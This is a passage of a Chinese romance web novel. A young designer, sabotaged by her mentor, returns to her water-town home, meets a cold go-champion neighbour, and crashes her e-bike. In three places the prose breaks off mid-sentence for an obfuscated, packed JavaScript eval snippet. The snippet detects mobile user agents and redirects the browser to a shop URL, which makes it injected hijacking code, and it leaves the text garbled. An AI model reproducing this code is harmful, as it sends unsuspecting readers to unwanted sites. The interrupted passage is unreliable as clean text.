晁二柱微一怔。 辜屿解释一句:“我口味淡。” 这边素菜多。 他落座的那刻,晁雨一瞬屏息。 亚轩作为设计公司,不少男同事用香水,成熟的,古龙味道的,甚至有点呛鼻的。可她从没闻过他身上的那种味道,甚至不确定是不是香水,冷冽得像山涧溪,钻进人鼻腔,顺着咽喉一路往下。 辜屿声线压得很低:“我坐这里,可以么?” 她顿一秒,才反应过来,他竟然同她讲话了? “可以。”她点点头,窗外一阵带绿桐和栀香的夏风拂过。 4. 第一件小事03 这顿饭晁雨吃得有那么些不自在。 主要辜屿这人存在感太强。他不说话,吃饭吃得很缄默,在晁雨的眼尾化为一道冷隽的侧影。 像白昼里的月光。 马超坐辜屿另一边,张口叫对面的男生:“把那盘香椿炒蛋换过来,我就爱吃葛阿姨做的香椿炒蛋。” 洵州这样的水乡,吃食上不奢侈,讲究的是一个“不时不食”。咬春要吃新鲜的荠菜,春分后则是桃花流水鳜鱼肥,至于咬一口鲜掉眉毛的香椿,那是要从上市吃到退市的。 晁雨很微妙地屏住一口气。 她这人不娇气。但葛洁的一把好手艺,把她养得嘴有些刁。简而言之,她这人挑食,长得丑的不吃,味道大的不吃。 她最怕香菜芹菜,而香椿那简直是加强版芹菜。放得远还好,端得近了就有些受不住。 然而在她开口前。 辜屿端起那盘香椿炒蛋:“夹好了吗?夹好把之前的糯米藕换回来。” “你要吃啊?那行那行。”马超夹了两大块炒蛋,又把盘子递远了。 晁雨捧着瓷碗,指尖很轻地贴着蓝花瓷摩挲了下。 巧合…… 吗? 她眼尾悄悄朝辜屿的方向望去。 他的骨相偏凌厉,不笑不说话的时候从来显得生人勿近。 她想了想,故意让自己偷看得明显了点。如果辜屿有心同她说话,注意到她的眼神,应该会主动搭腔。 然而没有。他握着筷子很专注地夹一块白玉丝瓜,指骨修长,衬得手里的筷子都像艺术品。 目不斜视,显得晁雨还不如一块丝瓜。 晁雨:…… 巧合,一定是巧合。刚才他竟跟她说了一句话,也是巧合。 晁雨夹起一块糯米藕往嘴里喂,撒了她家的干桂花,清香扑鼻。马超正大力吹捧葛洁的好手艺,话题递到辜屿这里:“你说是吧,狗哥?” 晁雨一口糯米差点没梗在喉咙里。 这时葛洁也笑道:“喜欢吃就多吃点,啊,二狗子。” 晁雨吞一口清水,连连拿手捶梗住的前胸。 二、二狗子…… 对啊,她太久没回洵州过夏天,都忘了辜屿在这里的小名,是叫二狗子。又因为怪物智商打起网游来堪称降维打击,被男生们尊称为——狗哥。 晁雨重新咬着糯米藕又瞥一眼辜屿。糯米藕真好吃,毕竟她是洵州长大的,从小嗜甜,可糯米藕有多甜,坐她旁边的人就有多冷。 孤韧的线条,下巴处收得格外流畅。这样一个男人,小名居然叫二狗子…… 晁雨不露声色在桌面下把手机掏出来,微博搜索框键入「辜屿」两个字。 辜屿人气有多高呢,点进实时微博,不停往外蹦新消息。 很多是他在围棋赛上的现场截图。有人的长相就是,随手一截都像电影剧照。对弈时的他更专注些,目光垂落,很偶尔掀一下冷薄的眼皮,看向另侧的对手。 这时他的惹人瞩目不在皮相,而在周身浑然一体的气场。他是暗夜里月光凝成的韧,见血封喉。 二、二狗子……晁雨觉得更割裂了。 葛洁的筷头敲一敲桌面:“小雨。” “啊?”晁雨抬头。 “吃饭的时候不要玩手机。” “哦。” 呵呵,她都忘了,她已经住回家里,必须开始重新遵守“吃饭不能玩手机、必须起床吃早饭、晚上超过九点回家要打申请”的规则。 吃了多久,她就憋了多久。 当话题被男生们引到昨晚的游戏战局有多精彩时,她憋不住了:“其实我有一个问题。” 一桌人的眼神递向她。 “为什么辜屿的小名……要叫二狗子啊?” 晁二柱惊了:“姐,你真不记得了?” “我……”晁雨的眼尾瞟一瞟辜屿,后者夹起一筷笋,吃得很安静。 为什么她应该记得? 为什么晁二柱的语气,好想她是最不该忘记的人一样? 毕竟她也在职场混了这么多年,这样的氛围总归不好再问下去。 一顿饭吃完,男孩们离去。 葛洁回自家摊上去给晁正声送饭了。下午三点,晁雨一个人坐在天井里吹风。 晁家老宅是四方合围,中间一方不大的天井,种一棵不知多少年岁的桂花树。通透的阳光洒下来,午后又有穿堂风,边上一口青石砌成的老井,坐在这里很舒服。 葛洁给她打电话:“正好簸箕里有我晒好的笋干,你收拾收拾,给毛奶奶送过去。” “好。不过毛奶奶没去打麻将么?” 毛秀珍,人称南木街雀神。括弧,基本是自称。每天下午把自家小院留给男孩们打游戏,自己雷打不动去茶馆打麻将。 葛洁道:“她这几天热伤风,应该没去吧。” “那正好,我去看看她。” 晁雨收拾了笋干出门。 马路上日头正晒,过了马路就是毛秀珍家的小院。和晁雨家全木制的老宅不一样,一方小院白墙灰瓦,种满茄子小葱辣椒,院子中央一排木爬架,爬满了毛秀珍自己种的葡萄,一路延伸到那月形的石门上去。 另有一棵桃树,结满了毛秀珍自己种的桃子。水分充足,就是个头不大,味道有点涩。 毛秀珍就在木爬架下的一张躺椅上,摇着蒲扇跟老佛爷似的。辜屿坐在一旁的灰瓦屋檐下,正削一颗桃子。 通常男生们吃桃不拘着什么,洗净了抓起来就咬。 想不到辜屿却会自己削桃。坐在一张靠背竹椅上,勾着腰,认真拿着一柄小水果刀。 手肘架在两边膝头,怠懒是他的动作,认真是他的眼神。 他身边便是那棵硕大的桃树,叶片墨绿而沉坠,繁茂到好像抢了桃的营养,滤过阳光斑斑的洒落在他身上。 半梦半醒的毛秀珍一抬眼:“哟,小雨回来啦?” “毛奶奶。” 毛秀珍好听昆戏,这时身边放的一只收音匣子里,昆戏咿咿呀呀地唱着。她吊起嗓子跟唱戏似的:“可想死我啦!你不在洵州,我吃不下睡不着的。今年大三了吧?怎么样有没有拿奖学金?” “……老太太,大三的那是我弟。我工作都四年了。” “哈哈,哈哈哈。”毛秀珍干笑两声:“我逗你呢,这不是夸你长得嫩么?来,陪我坐会儿。” 晁雨拖了张竹椅,坐到毛秀珍旁边。 “感冒好了么?” “好得差不多啦。” 毛秀珍的蒲扇有一下没一下地摇着。这方小院里也有穿堂风,很凉爽,有些住在这条老街上的人家连空调都不安。 毛秀珍跟着收音匣子里哼昆戏,晁雨口袋里手机震了下。 是许辰懿发来的微信。 Cici:[你老家有没有什么高质量的男生?] 冷冷冰雨:[哈?] Cici:[你这不是失恋了么?] Cici:[你得奋发图强,赶紧把那老贱人留给你的阴影给抹去啊!] Cici:[你不是喜欢手长得好看的么?] Cici:[其实那老贱人的脸长得一般,就那双手长得还行。] Cici:[你老家有没有手长得好看的?] 晁雨捏着手机,在一阵穿堂风里抬眼。 从她的视角,恰好能看见斑驳阳光里辜屿的身形,桃子粉嫩,手指冷白,连指骨的形状都透着优越。 晁雨这人不追星,无论哪个圈子她都不追。这和许辰懿刚好相反,许辰懿不专一,随便哪个圈子都看上两眼。 许辰懿拿不少辜屿的比赛截图给晁雨看过,晁雨都忘了。 唯独一张,晁雨记得很清楚。 那场比赛辜屿执黑。照片不知从哪个角度拍的,焦距对准他的手,倒显得那张过分出挑的脸有些虚化了。 黑色棋子与辜屿的冷白手指反差强烈,似雪地里的泼墨,愈发衬得指骨似玉,食指中指微微交叠,衔着那枚黑子。 要不是她从小认识的人,只怕她还真觉得有些性感。 她给许辰懿回微信:[有没有手好看的不是重点。] Cici:[你这么说就是有咯?] Cici:[竖起八卦的小耳朵.jpg] 冷冷冰雨:[不是这意思。] 冷冷冰雨:[而是洵州的这帮男生,我都看过他们穿开裆裤乱跑的样子,你说我能有感觉么?] Cici:[借口,都是借口。] Cici:[晁雨我还不知道你,装得跟大尾巴狼似的,其实对人特掏心掏肺。] Cici:[我知道你对那老贱人是用过真心的。] C ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581583|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ici:[越是这样你越得赶紧开始下一段感情,知道不?] Cici:[就跟骑术里摔马似的,必须得立刻再上马,不然时间越长,越不敢。] 晁雨静静坐着,穿堂而过的风掠动她鬓边的发,她盯着屏幕上的那两个字:「真心」。 明恒宇对她有过半点真心么? 记得有年她和明恒宇,跨年时去上海出差。那时她跟打了鸡血似的,一门心思只想着工作,上海离洵州多近啊,她都过家门而不入。 临近十二点,明恒宇拉着她登上邮轮,在黄浦江上吹冷风。 那天多冷啊,她穿着件单薄的大衣撑场面,冻得她鼻子都快掉了,哆哆嗦嗦想明恒宇什么时候能玩完浪漫,让她赶紧回船舱打开笔记本电脑回邮件去。 午夜钟声敲响,无数烟花同时绽开。 明恒宇也只穿一件大衣,不过比她从容得多,完全没她又吸鼻涕又打哆嗦的鸡崽样儿。两只小臂架在围栏上,扭头望向她,英伦格纹围巾在颈边垂落,叫她的名字:“小雨。” 那时晁雨认识他的年头不算短了,仍忍不住惊艳了下。 明恒宇叫她的语调很温沉,她心里怦怦两下,心想明恒宇不会要说“我爱你”吧。 明恒宇看她良久,终是笑笑:“冷吧?回船舱里去吧。” 现在回想起来,那是明恒宇最接近对她说出真相的瞬间么? 也或许,根本是她自己想多了。明恒宇就是通过这些烟花似的碎片来粉饰这段感情,根本没用过半分真心。 有此一遭,她哪还敢谈什么感情?许辰懿说她说得没错,对人容易掏心掏肺,所以一朝被蛇咬,十年怕井绳。 想着这些无意识一抬眸,刚巧辜屿削完桃子抬头,与她视线一撞。 那一刻晁雨眼里盛的情绪,是迷茫。 辜屿的眼神在她脸上多停了停。 有那么一瞬,晁雨想:辜屿会不会要把削好的桃子拿过来给她吃? 下一秒,辜屿抬手把桃子喂进了自己嘴里。 晁雨失笑: 果然讨厌她。 这时,辜屿的手机响。他垂眸瞟了眼,削过桃子不方便拿起手机,抽张纸巾擦了手,点按扬声器。 一个大嗓门的男人操着京片子:“喂,二狗子!” 晁雨:…… 打电话来的是辜屿经纪人,跟他说了些近期的活动安排,辜屿很随性地嗯两声,并不怎么放在心上。 也是。他这样的人,全世界都会来迁就他。 挂了电话,他起身洗净了手,回游戏房去了。 晁雨心想:现在连洵州以外的人,都管辜屿叫二狗子了…… 她试探性问毛秀珍:“辜屿的小名,为什么叫二狗子啊?” 毛秀珍望向她的眼神跟活见鬼似的:“完了完了,你失忆了。” 晁雨:? 毛秀珍上下打量她:“你真的一点都不记得了?” 晁雨摇头。 毛秀珍:“那你还记得二柱子的大名叫什么吗?” “我弟的大名叫……”晁雨努力回想。 “你真失忆了!”毛秀珍一拍大腿:“我得给你妈打电话!” “我逗你呢。”晁雨摁住她掏手机的手:“可我真不记得辜屿的小名怎么来的了。” 毛秀珍:“他第一次来洵州过暑假,我管他叫小屿,你就生气了。” 晁雨:“……有吗?” 毛秀珍猛点头:“有,说你叫xiaoyu,他也叫xiaoyu,说他不避你的名讳。” 晁雨大惊。 她小时候这是把自己当女皇啊!欠的这些良心债,都在日后职场里当牛做马的还回来了。 毛秀珍继续道:“你弟小名不是叫二柱子吗,你就说给辜屿也取个小名,叫二狗子,跟你弟一个系列的。” “……”晁雨:“哈哈,哈哈哈。” 从此一代“妖刀”有了个叫得响的小名,叫“二狗子”。这要是被他的粉丝知道,她会不会被捶死? 晁雨顿了顿,看向屋檐那边。 辜屿刚刚坐过的靠背竹椅,此时空荡荡,一阵风过,吹着午后斑驳的光影轻摇。 她忽然想:她只记得辜屿的沉默,冷淡,对她的寡言。 会不会还有很多的小事,被无数个夏天的季候风吹散,就这样被她忘记了? 5. 第二件小事01 辜屿回到游戏房。 马超正对着游戏对家骂娘,嗷地一嗓子:“狗哥你可回来了!求大佬带飞。” 辜屿在电脑前坐下,右手拖过鼠标,轻轻一点。 他打游戏的时候很安静,不同于其他男生的大呼小叫或骂娘,游戏房里的灯开得很暗,淡光映在他脸上。 但这样十一岁入段的智商打起游戏来,真是妥妥的降维打击。 马超缩在电脑椅上跟个猴儿似的,直到一局胜了,他倏然松了肩:“这帮孙子,刚才把我们虐那么惨……” 他瞬间不骂娘了,拉开罐可乐,笑嘻嘻一戳晁二柱的胳膊:“哎,我们怎么抱上狗哥这条大腿来着?” 晁二柱回忆了下。 辜屿第一次到洵州过暑假,是六岁。那时候的男孩正是嚣张的时候,领地意识特别强。 辜屿从小个子高,不和他们一样剪寸头,略长些,垂在一双淡泊的眼前。 一个六岁的小孩怎么会有那样的眼神?晁二柱他们躲在墙根后悄悄看他,好屌哦,像他们根本惹不起的那些小学生。 而且在那个晁二柱他们普遍穿阿迪王的年代,他穿Burberry。 晁二柱他们是不跟他说话的,回家跟葛洁说:“晓得伐?毛奶奶家装空调了。” 葛洁眉毛吊起来:“喔唷,老太太这下舍得啦?” 第二天才知道,是老太太从北京来了个冻脸的外孙。 晁二柱他们每天狗狗祟祟跑去毛秀珍家的小院偷看,就是不跟他说一句话。 直到毛秀珍受不了,发挥自己鬼斧神工的厨艺,给这帮男孩凑了桌饭局。 毛秀珍跟辜屿说话的语调也带那么点客套:“小屿,过来。” 坐在桌边正夹着块草莓酱鸡翅的晁雨不乐意了:“xiaoyu不是我吗?” 她颐指气使地一指辜屿:“他就叫二狗子吧。” 男孩们一看辜屿那张脸跟醋味冰棍似的,冷里面又掺了明显的拧巴,噗哈哈哈地笑开了。 “二狗砸!” 他们好像是这样开始说话的。 辜屿依然顶着张冻脸,瞟了下晁雨。 那年晁雨留小男生一样的短发,因为晁二柱把口香糖黏她头发上了,她一怒之下自己拿剪刀把头发全绞了,葛洁回来一看大惊失色,带她去了理发店。 她巴掌大的一张脸藏在短发里,很轻地冲辜屿眨了下眼。 - 晚上,晁雨去厨房摸了颗桃子,准备上楼时,正遇到晁二柱从毛家小院回来。 “姐。”晁二柱叫住她,支吾了一下。 晁雨警惕地后退半步:“借钱的话没有,我银行卡里就一块八毛六。” “……在你心里我到底是什么人?” “从小在小卖部赊干脆面让我去结账的人。” “你也没结啊!你还跑去也赊了干脆面,让我拿压岁钱去还的!” 晁雨:“……哈哈,哈哈哈。” 晁二柱挠了下头:“我是说,你很难过的话,抱一下啦。” 若说刚才只退了半步,这时晁雨吓得连退三米:“你说什么!好恶心!” 晁二柱跟着她咆哮:“我也是忍着满手鸡皮疙瘩说的好吗!我还觉得恶心呢!” “受不了受不了!肉麻死了!”晁雨一边挥手一边沿墙遁了。 - 第二天,晁家四口聚在一起吃早饭。 说起晁二柱的期末考挂了两科,晁正声冲他瞪眼:“你从小就又懒又迷糊,看看你姐……” 葛洁在桌下轻轻踢了晁正声一脚。 晁正声有些讪讪地摸了下鼻头:“小雨,把那碟腐乳递我。” 晁雨自己倒是很自然地笑笑,把小瓷碟递过去:“爸,你什么时候不出摊,我陪你钓鱼去?” 她从小是作为“别人家的孩子”成长起来的。 成绩很好,只有她自己知道,她不是特聪明的那种人,纯粹靠卷。第一次挫折发生在高考时,她发挥失常,不接受专业调剂的话,只能上个普通一本。她考虑过要不要复读,又有点怵,还是走了。 大学里她继续卷,大一暑假就开始实习。毕业后拿了亚轩的Offer,一血高考失利的前耻。 她迫切地希望从这座时光仿若凝滞的小城走出去。 她不喜欢走到哪都遇见熟人。不喜欢大事小情都被人窃窃私语的议论。不喜欢七大姑八大姨那些毫无边界感的提问。 只不过现在她卷到头,又两手空空、一无所有地回到这里。 吃完早饭,送走了晁正声和葛洁,晁二柱去毛家小院打游戏。 许辰懿给晁雨发微信:[姐们儿干嘛呢?] 她估计怕晁雨想不开,百忙之中前来送关怀。 晁雨给她拍了张照片。 那时晁雨正在青石板路上走,石缝里残存着先前梅雨季洇出的青苔,路边是成排的香樟和梧桐,叶片滤过浅金的光斑。 许辰懿直接发语音过来咆哮:“你这小日子也过得太舒坦了吧?你干嘛去啊?” 冷冷冰雨:[去录像厅看老电影。] 回完微信一抬头,刚巧看见马路对面的辜屿。 他大约出来买东西,穿着惯常的黑衣黑裤。身材的轮廓分明,像有人拿着碳素铅笔勾勒出恰到好处的棱角。 清晨的阳光照不透他,他像浮着山涧的一层夜雾,看到马路对面的晁雨,几乎不着痕迹地,很轻地一点头。 轻到晁雨疑心那是不是她的幻觉。 她也就冲辜屿点点头,两人隔着条马路,擦肩而过。 洵州新城区开了万达影院,而这片老城区,还残存着一家最老式的录像厅。 晁雨和男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581584|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们小时候就常去。这里不接待小孩,他们也并没钱买票,花五毛钱买一包加了色素冻成冰块的糖水,挤在堆放杂物的二楼后排,居高临下看过很多香港或好莱坞的老电影。 到这时晁雨走去售票厅:“一张票。” 括弧,昨晚晁二柱没找她借钱,她找晁二柱借了五块,因为现在录像厅的票五块一张。 晁二柱很大气地给了她十块。 小小售票厅的卷发阿婆打着毛线,隔着小窗口的铁栅栏一瞟她:“进去吧,反正小时候也没少逃票。” 晁雨乐了。 还记得她啊。 她问:“今天放什么电影?” “不知道。”阿婆的小拇指一勾毛线:“看放映师傅的心情咯。” 晁雨走进去,上午的录像厅根本没两个人,第一排边上一个正打瞌睡,第七排中央坐着个看上去很宅的眼镜男。 晁雨挑了后排的一个位置坐下。 录像厅从不预告,放什么全凭师傅当天的心情。其实也就是那些老电影,翻来覆去的放。 今天放的是《大话西游》。 紫霞仙子的眼睛闪着星星,对至尊宝说:“我的意中人是一位盖世英雄,有一天他会身披金甲圣衣、驾着七彩祥云来娶我。” 晁雨小时候不知看过多少次了,这会儿望着银幕就有点跑神。 长大了才知道,哪有什么盖世英雄?靠什么人都不如靠自己,打落了牙齿和血吞,还要笑不露齿对人挤出一个优雅的笑。 现在出社会的个个都是人精,要是真露出狼狈的伤口,不知多少人赶着来踩你一脚。 自从出事后,晁雨在北京一直表现得挺平静的。 回洵州后,她怕家人担心,一直表现得挺昂扬的。 直到这时,一个人躲进黑漆漆的录像厅里,她缓缓吁出一口气,肩膀一点一点放松开来。 然后她才发现,自从出事后,原来她一直绷着肩。 之前网上流行过性格测试,测你是内向的人还是外向的人。晁雨应该是内向的人,无论有多喜欢热闹,在人前笑多了,还是想找个小山洞自己躲一躲。 眼神漫无目的在录像厅游移,直到看见第三排的最边上,坐了个人。 竟是辜屿。 合着他刚才出门,也是来录像厅啊……只不过和她走了不同的路。 还好没同路,晁雨想,不然尴尬地不知一路聊什么。 《大话西游》放完,银幕开始跑字幕。晁雨多坐了会儿,直到辜屿起身走了,她才站起来往外走。 还好还好,辜屿没发现她。 走出录像厅前,她循着《一生所爱》的音乐,最后回眸望一眼银幕。 说到底这就是个童话。 这类老电影式微的原因大抵在于,现在谁还相信童话呢? 晁雨转身走了。 6. 第二件小事02 看看老电影,坐在天井里吹吹风,晁雨回洵州的日子就这样过了下去。 觉得自己加班掉的那些头发都长回来不少。 许辰懿半夜两点给她发微信:[老娘刚加完班。] [心里不平衡极了,吵醒你。] 晁雨给她回:[哈哈傻了吧,我睡了一下午午觉,现在清醒着呢。] [小鸡扭臀.jpg] Cici:[信不信我居你.jpg] 冷冷冰雨:[草泥马跳舞.jpg] Cici:[土拨鼠尖叫.jpg] 冷冷冰雨:[柴犬龇牙.jpg] 最后许辰懿受不了了,连发十个炸弹结束战斗。 晁雨捂在辈子里笑:两个加起来五十多岁的女人,好幼稚。 她觉得,想通了不就这么回事么,以前卷得连睡觉的时间都没有,现在就当放假了。 可人想的是一回事,做起来又是另一回事。 一周后,晁二柱晚上从毛家小院回来,晁雨从木楼梯上探出一颗头叫他:“上来帮我看看,电脑怎么连不上网了。” 晁二柱帮她摆弄一阵:“好了。” 然后眼看着她打开了美团网页。 晁二柱:??? “你想点外卖干嘛不用手机点?” “我不点外卖,我应聘。” “你什么?” “我想应聘美团的兼职骑手。”晁雨说着把广告网页给晁二柱看:“头盔雨衣任你用,月薪过万不是梦。” “……”晁二柱:“你认真的?” 每个人嘴上说着不卷了回老家,晁雨切身体会了下,发现每每打开朋友圈,人人忙得风生水起,只有她一人闲得身上长草。 那种感觉是真慌。 她暂时还没重新拿起铅笔去做设计的勇气,但她总得做点什么,别这么闲。 晁二柱下楼就把这事跟葛洁和晁正声说了。 晁正声有点愁:“怎么着也是建筑系的大学生,要不我们托人问问,能不能给她找个坐办公室的工作?” 晁二柱:“得了吧,现在好多坐办公室的还没骑手赚得多呢。” 说着又问:“我姐是真不能再回北京当设计师了吗?” 葛洁一戳他的胳膊肘:“你姐自己不说,你别去她面前瞎问听到没?她想去当骑手,就让她去嘛,绕着洵州城散散心,也蛮好。等她过了心里难受这段时间,再说吧。” 第二天,葛洁准备早饭时,无意间提起:“你爸说晚饭想吃凉面。” 晁雨自告奋勇:“我去买,晚饭时给你们送过去。” 放眼洵州城的凉面摊,就菜市场那家的味道最正。 葛洁想了想:“那你去吧,骑家里那辆小电瓶去,刚好练练你的车技。” 晁雨一个眼刀冲晁二柱射过去,这孩子嘴怎么这么大? 晁二柱背着手,装模作样在厨房里视察,嘴里哼着“战吗?战啊,以最卑微的梦”,就是不看她。 她回答葛洁:“就我这车技还用练么?南木街车神好么。” 洵州这片老城区,条条街巷的名字取得都美:小桥弄、乌墙巷、青屏街、椿荫巷……还有绕城而过的那条溪,有个很古韵的名字叫雩溪。 傍晚时,晁雨抓起小电瓶的钥匙出门。 刚踏出老宅,手机响。 她接起来:“喂。” 许辰懿要死不活的声音传来:“来,再说说你悠闲的小日子,刺激刺激我。” “我爸晚饭想吃凉面,我正打算骑电瓶车去菜市场买呢。” 许辰懿气若游丝地打出个饿嗝:“老娘从今儿一早出去见客户,总共就咬了两口三明治,现在饿得想吐。” “去吃晚饭啊。” “吃不动了。”许辰懿吊着一口仙气:“忙了一天脑仁都快炸了,我现在跟只吗喽一样趴在办公桌上放空,哪像你那么悠哉。” “小城嘛,想卷都没地方卷去。” “我决定了!”许辰懿一拍桌子。 “什么?”晁雨吓一跳。 “我要去请!年!假!把这几年没休的年假都请了,也省得我每天在你们部看那对狗男男出双入对。” 晁雨可太了解公司的尿性了:“你算你们部挺能干活的,大老板能准你的假?” “我就说你腿摔折了,我得看你去。他难道不知道明恒宇给你使黑手?他心里明镜儿似的,只不过他选了明恒宇没保你。怎么着他也算明恒宇坑害你的帮凶,还能拦着我去看你?” “……够狠。”晁雨道:“我先不跟你说了啊,骑电瓶了。” “得嘞,你小心点,姐们儿再趴会儿奔赴下一个酒局去了。” 晁雨提醒:“你还是垫口吃的再喝酒。” 挂电话之前,许辰懿犹豫了下还是叫:“晁雨。” 晁雨吓一跳:“干嘛?我这辈子只要听三个人叫我大名,就觉得没好事,一个是我小学班主任,一个是我妈,再一个就是你。” “我就是想问问,明恒宇这么整你,你真就这么算了?”许辰懿道:“你真就躲回老家、再不打算杀回北京了?” 晁雨静默一阵,轻道:“等等吧。” “等什么?” 她轻扬了扬唇:“要是我等的事有结果,你自然就会知道了。” - 挂断与许辰懿的通话,晁雨跨上小电瓶。 小电瓶这么一骑,小晚风这么一吹,嘴里哼着这几天被晁二柱洗脑的“战歌”。 别说,小城有小城的烦,小城也有小城的好。 洵州在上海附近,没乘上经济发展的东风,却也因此保留了它的原貌。这里有木阁、石板路,停在这里,总像停泊在时光之外。 那年头,没有网红也没有无处不在的vlog镜头,没有各种电子设备只有一台游戏掌机,电风扇吱悠悠缓慢摇着头,梧桐树上蝉鸣声声,伴着傍晚炊烟,一条窄窄巷弄里,母亲探出头扯着嗓子喊自家小孩回家吃饭。 这里离高速发展的大都市太远了,让人坠回记忆深处的那些夏天,好像悠长得总也过不完。 远远望见菜市场大门的时候,晁雨口袋里手机又响。 她本来没想接,偏偏对方打得挺执着。 她摸出来看了眼,有一瞬间的血液上涌—— 来电显示:[师父]。 从她入职亚轩开始,明恒宇就以这个名字存在于她手机内,四年来,从没变过。 她摸了一只蓝牙耳机出来,塞进耳朵:“喂。” 明恒宇的声音顺着她左耳钻入:“喂。” 晁雨恍惚了一瞬。 左耳是联通人左边的心脏么?明恒宇这么一声像敲在她心上。 但她的声音听起来很平静:“你该不会是打来跟我说对不起吧?” “你是不是忘记我教过你什么?”明恒宇低笑一声:“道歉不起作用的情况下,千万别说对不起,打落牙齿也要和血吞。” 晁雨心想,和血吞的是我又不是你。 “小雨,我打来是告诉你,你之前报名的金铅笔设计大赛,不用抱什么期望了,初审就没过,你提交的报名材料,不合格。” 如果看到明恒宇打电话来,是瞬时血液上涌。 现在则是所有冲向头顶的血液,一霎又回落心脏,冷冻凝结。 她之前跟许辰懿说要“等”,等的就是这件事。 今年的「金铅笔」设计大赛,部门提交的是她的作品。明恒宇提议:“主创人那里,也加上我的名字吧,加在你之前。你知道这些比赛,不是不讲人情世故,我算圈里的熟脸,对这套作品拿奖有帮助。” 晁雨想了想,拒绝:“不了。如果能拿奖,那是我自己的本事。如果不能拿奖,我认。” 她被开除时,留了个心眼。 如果「金铅笔」获奖,整个业内都将看到她的能力。之前所谓“过度借鉴”,明眼人也会想着要去查一查到底是怎么回事。 她迫切的需要这个奖,来赢回一个翻盘的机会。 可现在明恒宇告诉她,初审就没过? 明恒宇声调平稳地问她:“之前你不是告诉我,如果只署你的名字不能得奖,你就认了么?现在怎么样,你认了?” 晁雨沉默。 明恒宇笑了:“小雨,如果不是你的话,我这通电话就到这里为止了。因为是你,我才会说接下来的话。你的作品,没人比我更了解,如果能入围,其实是有机会拿奖的,但是。” 他话锋一转:“评审组的Dylan,跟我一起做过时代阳光那案子的,记得么?接下来,我跟他还有好几个案子要合作。” 晁雨:“所以,是你让他直接把我踢出局了?” 明恒宇的声音被手机镀一层电流感,露出凉薄内里:“不要想着再回北京,也不要想着再做设计了。” 忽然,路边绿化带一只灰色狸花猫蹿出来。 晁雨一晃神,眼看捏刹车是来不及了,紧急一扭车头往菜市场门口的石墩撞去。 轮胎在地面摩擦出尖锐鸣响,“砰”的一声。 电瓶车猛烈撞上石墩,晁雨直接从车上飞了出去。 飞出去的同时她只有一个念头:攥紧手机。 银行卡余额就剩一块八毛六了,待会儿买碗凉面还得用她找晁二柱借的十块钱,这要是手机摔裂了,她哪来的钱买。 所以围观群众看到了极之荒诞的一幕——一个年轻女人从电瓶车上飞出去划出条抛物线,重重摔在路边,还紧攥着手机护在怀里。 接着她把掉出来的蓝牙耳机塞回兜里,又把手机贴到耳边。 现在这手机质量可以啊,这样都没断。 明恒宇在另端问:“你怎么了?” 她感受着左脚传来一阵剧痛:“师父,我想问你最后一个问题。” 一声“师父”,听得明恒宇沉默了下。 “你问。” “为什么要这么赶尽杀绝啊?”晁雨发现人遇到大事的时候,真的只会笑,不会哭:“我都没指望你给我留门,你这是连天窗都给我锁死了。” 明恒宇:“你有天赋,从你进亚轩第一天我就看得出来,所以把你招进我的部门。你的创作风格跟我太像了,都很擅长从中国的古建筑里找灵感,可你知道,任何一个圈子都是很残酷的,也许再过不久,你会超过我,成为这种设计风格的第一。那我呢?我如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581585|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何容身?” “世界上从不需要第二名。你叫了我四年‘师父’,这算我给你上的最后一课吧。” 明恒宇说完这句,电话就断了。 晁雨躺在地上,左脚的剧痛反而让她脑筋极为清醒,先是给许辰懿打了个电话。 许辰懿:“怎么着姐们儿,你不是买凉面去了吗?不会特意打给我显摆凉面多好吃吧?忒没人性了啊。” “许辰懿。”晁懿也叫她大名:“你这张破嘴是开过光吧?我真出车祸把腿给撞折了!” 说完就把电话给挂了。 转头又给晁二柱打个电话:“喂,赶紧来接我。” “姐,我打游戏呢。” “我撞车了!” “啊?!”那边就听到晁二柱急急站起来的声音,一边还在跟身后那帮兔崽子说:“我姐出车祸了,我得去一趟。” 晁雨只来得及交代一句:“别告诉爸妈,给他们叫份外卖,就说我们临时有朋友约,出去吃饭。” 挂了电话,她仰面躺在菜市场门口,耳畔一阵鸡鸭鹅的叫声。 她望着黄昏天幕上粉紫浮游的云。 心忖道:我是不是长得很像碰瓷的啊?怎么一个来扶我的都没有呢? 不知过了多久,左脚的痛感混淆了时间。 晁二柱给她打来电话:“姐,你在哪儿呢?” “在菜市场门口躺着呢,你再不来我都快睡着了。” “这不是晚高峰吗!我的五菱宏光在附近路口被堵住了,开不进来。” 洵城这种小城的晚高峰,不发生在什么CBD写字楼,而发生在菜市场。 晁二柱提议:“要不我给你叫辆救护车吧!我还没叫过救护车呢。” ……这语气一听还挺跃跃欲试是怎么回事? 